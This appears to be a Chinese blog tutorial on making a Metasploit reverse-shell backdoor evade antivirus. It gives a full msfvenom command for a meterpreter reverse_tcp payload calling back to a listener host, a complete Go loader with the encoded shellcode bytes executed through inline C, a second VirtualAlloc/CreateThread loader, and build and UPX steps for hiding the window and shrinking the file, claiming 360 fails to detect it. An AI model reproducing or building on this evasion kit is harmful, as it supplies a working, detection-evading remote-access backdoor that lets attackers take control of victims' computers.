关于msf反弹后门的免杀Tips
msf是一个很强大的工具,我经常会在渗透用它来反弹shell,不过它生成的反弹后门会被不少杀软kill,这篇文章只是讲讲我在msf中一个简单的免杀小技巧
思路
我以前接触过一款python的远控,其实说是远控,基本也就是nc的功能加了一个服务端的web页面控制并加了一些其他的功能可以用来管理诸多客户机
这款远控我下载下来用过,并用pyinstaller打包成了exe(缺点是体积太过庞大),惊奇的是,360不杀它,然后自己想着其他语言是不是也会这样,于是我用golang写了一个简易版nc反弹,编译之后,也是不查杀的。python和golang有一个共同点,就是可以用来内联C编程,所以C语言的shellcode按理说应该会达到同样的效果
得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py > 1.py
建议是生成32位的,如果想生成64位也可以,-e x86/shikata_ga_nai -i 11
是指用x86/shikata_ga_nai
编码迭代11次,然后生成py文件
py文件打开是shellcode,我们接下来对它进行一点小改造,对于python去执行shellcode的方法,相信小伙伴都已经不陌生,在《python灰帽子》中有讲解,我今天要使用的是golang,其实个人认为golang执行shellcode的代码是更简洁的
Golang环境搭建
安装Golang32位(建议32位,与前面对应,在测试过程中,如果32位shellcode配合64位golang加32位gcc,就算把golang的GOARCH改为386也依旧会失败,建议一一对应),安装gcc32位(可以使用TDM-GCC)
代码编写
package main
/*
void call(char *code) {
int (*ret)() = (int(*)())code;
ret();
}
*/
import "C"
import "unsafe"
func main() {
buf := ""
buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
buf += "\x46\x84\xfd\x72\xee\x0e\xb5\x96\x37\x04\x6d\x63\x9f"
buf += "\xcc\xa4\x3a\x8e\x8c\xf7\x39\x81\xca\xe4\x42\xff\xce"
buf += "\xa3\xa2\xdb\x06\xc0\x3f\xaf\x41\x73\xba\xf7\x20\x13"
buf += "\x98\x8c\xff\xfa\x0a\xda\x6e\xf2\x6d\xc3\x81\x07\xc0"
buf += "\x1b\x37\xeb\xa2\xa9\x32\x71\xaf\xe9\x20\xd1\xaa\x9e"
buf += "\xbd\x82\xf3\x81\x1f\xab\xbf\xc4\xd9\x6c\x75\x37\x3a"
buf += "\x53\x78\x90\x79\xaf\x93\x1b\xb3\x15\x09\xe5\x45\x5c"
buf += "\x26\x0f\x0d\x16\x52\xf1\x8a\x7e\x8b\xc4\x50\x8e\x0a"
buf += "\x38\x2f\x2b\x40\x73\x0b\xf0\x51\x5f\xc6\xbf\x04\x47"
buf += "\x80\x36\xe5\x88\x88\xb3\xfc\xa0\x52\xfe\x92\x81\x8d"
buf += "\x89\xf2\x6a\xcc\x7f\x9a\xe9\x1a\x30\x73\xa3\x63\x42"
buf += "\x10\xe9\xcf\x62\xe4\x06\x52\xe1\x8d\x88\xfe\x52\xc4"
buf += "\xc3\xed\x7a\x0e\x66\x5f\x8c\x2c\xef\xfa\xbd\x8c\x79"
buf += "\x6c\x01\xe3\x5c\xde\xc4\x8a\x4c\x7d\x34\x32\xb5\x23"
buf += "\x56\x6c\x52\x3f\x15\x26\x6a\xf8\x6b\x81\x2c\x23\x8d"
buf += "\x41\x6e\x24\x30\xc6\xcb\xba\x26\xd4\x3b\x37\xd3\xc6"
buf += "\xa8\x5a\x16\x8f\x1e\x27\xca\xcb\xda\x7f\x74\x62\xb2"
buf += "\x62\xa6\xb1\xfc\x64\x53\x3a\xa7\xa4\x21\x3d\x79\x08"
buf += "\x06\x74\x2a\xa2\xe7\x0d\x68\x16\xa3\x96\xe5\xad\x32"
buf += "\x10\xa3\x0f\x49\xc3\x69\xa7\x5b\x61\x1a\xf8\x1d\x9e"
buf += "\x9b\x3a\x00\xfc\x18\xc3\x42\x1a\xd6\x44\x5d\xfe\xc5"
buf += "\xb6\x68\xd2\xad\x24\xda\x74\xa7\xf3\x66\x9a\x42\x7a"
buf += "\x50\xf0\x0b\x47\xbc\xad\x6c\x1e\xca\xbe\x90\xca\xc3"
buf += "\x8e\x5b\xde\x66\xe2\xb3\x20\x6f\x38\x17\xc1\xac\xfb"
buf += "\xd3\x2f\x91\xa7\xff\x65\xd7\xd0\x25\x4c\xd4\xb3\x35"
buf += "\x38\xa1\x82\xb8\x23\x42\xe9\xa5\x95\x8e\xc4\x35\xca"
buf += "\x92\xfe\xde\x62\x70\xd6\x7a\x7f\xfd\xfb\xf0\x24\xbd"
buf += "\x5d\x6d\x3d\x13\xbc\x1d\x25\x54\x9d\x0e\x68\xc8\x9a"
buf += "\x10\x87\xf0\xc9\xac\x37\x57\x84\x23\x5f\x8a\xc0\xab"
buf += "\x52\x6e\xae\x79\xa2\xdb\xff\xd8\x41\x28\x8b\xd3\x9d"
buf += "\x68\x3c\x55\xf2\xfe\x0c\x8a\x38\xdf\xb3\x80\x9b\x70"
buf += "\x2b\x4e\xe1\xfa\x0b\xfe\xf5\xc3\x1a\x0d\x83\xb0\x69"
buf += "\xd0\x68\xfb\xe0\xae\xbd\x56\x52\x17\x9a\xf8\x8f\xc0"
buf += "\x14\x8c\xb0\xf7\x0e\x87\xfa\x54\xf4\x04\x4a\x5a\xc8"
buf += "\x89\x57\x0e\xbf\x7a\x76\x9b\xfe\xb8\x5f\x31\x42\xec"
buf += "\xaf\x18\x9e\x3f\xf0\x09\x79\x86\xb3\x08\x29\x50\xfd"
buf += "\xc3\x46\x7d\x24\x51\x5b\xd0\x81\x19\x6f\xc2\x2c\x17"
buf += "\xab\xa3\xb7\xd9\x6f\x82\xd9\x37\x5f\x38\x01\xd8\xfd"
buf += "\xfd\x11\x22\x61\xd0\x92\x45\x37\x4f\x6c\x4e\x91\x3b"
buf += "\x42\x07\xc5\x77\xdc\x52\xd6\xc7\x9d\x7b\x62\xba\x1c"
buf += "\x62\x3c\xde\xad\x96\x03\x55\xde\x9d\x52\x5c\x5d\x0c"
buf += "\x73\x0e\xc3\x4c\xae\x7d\x1c\x7c\x64\xaf\xbb\xce\xa6"
buf += "\x02\x0e\xb1\x51\xc4\x2d\x1b\x6b\xb7\x7c\xd9\x4b\xc3"
buf += "\x8c\x43\xd6\x1b\x2a\x4f\x5e\x0a\x9a\xd5\x4d\x45\x64"
buf += "\x6c\x0c\xc8\xf5\x59\xd7\x45\x36\x85\x99\x8d\x34\x65"
buf += "\x21\xd3\x3b\x35\xce\x22\x29\x0c\x4e\xca\x48\x3f\x55"
buf += "\x5d\x1b\xda\x35\xc1\x2d"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}
以上就是全部代码
其实Golang还有个执行shellcode的方法是不用内联C语言的,但是我这边测试能接到反弹shell,但是执行命令会直接断开,代码我也贴出来
package main
import (
"syscall"
"unsafe"
)
func ThreadExecute(Shellcode []byte) {
var K32 = syscall.MustLoadDLL("kernel32.dll")
var CreateThread = K32.MustFindProc("CreateThread")
var VirtualAlloc = K32.MustFindProc("VirtualAlloc")
var WaitForSingleObject = K32.MustFindProc("WaitForSingleObject")
Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
for i := 0; i < len(Shellcode); i++ {
AddrPtr[i] = Shellcode[i]
}
ThreadAddr, _, _ := CreateThread.Call(0, 0, Addr, 0, 0, 0)
WaitForSingleObject.Call(ThreadAddr, 0xFFFFFFFF)
}
关于断开的原因,希望找出原因的能告知我一下,其实我们会发现,内联C是比较简单的
杀毒测试
在代码所在目录cmd执行go build
得到二进制文件(或者可以用go build -ldflags="-s -w"
减小体积,go build -ldflags="-H windowsgui -s -w"
去掉命令窗口)
可以看到360的静态查杀和动态查杀都没有发现
那么是否正常工作呢
可以看到完全是没问题的,体积比python编译出来的小的多,编译出来是500多kb,然后经过upx压缩了一下(测试upx压缩后功能依旧正常),降低到了200多kb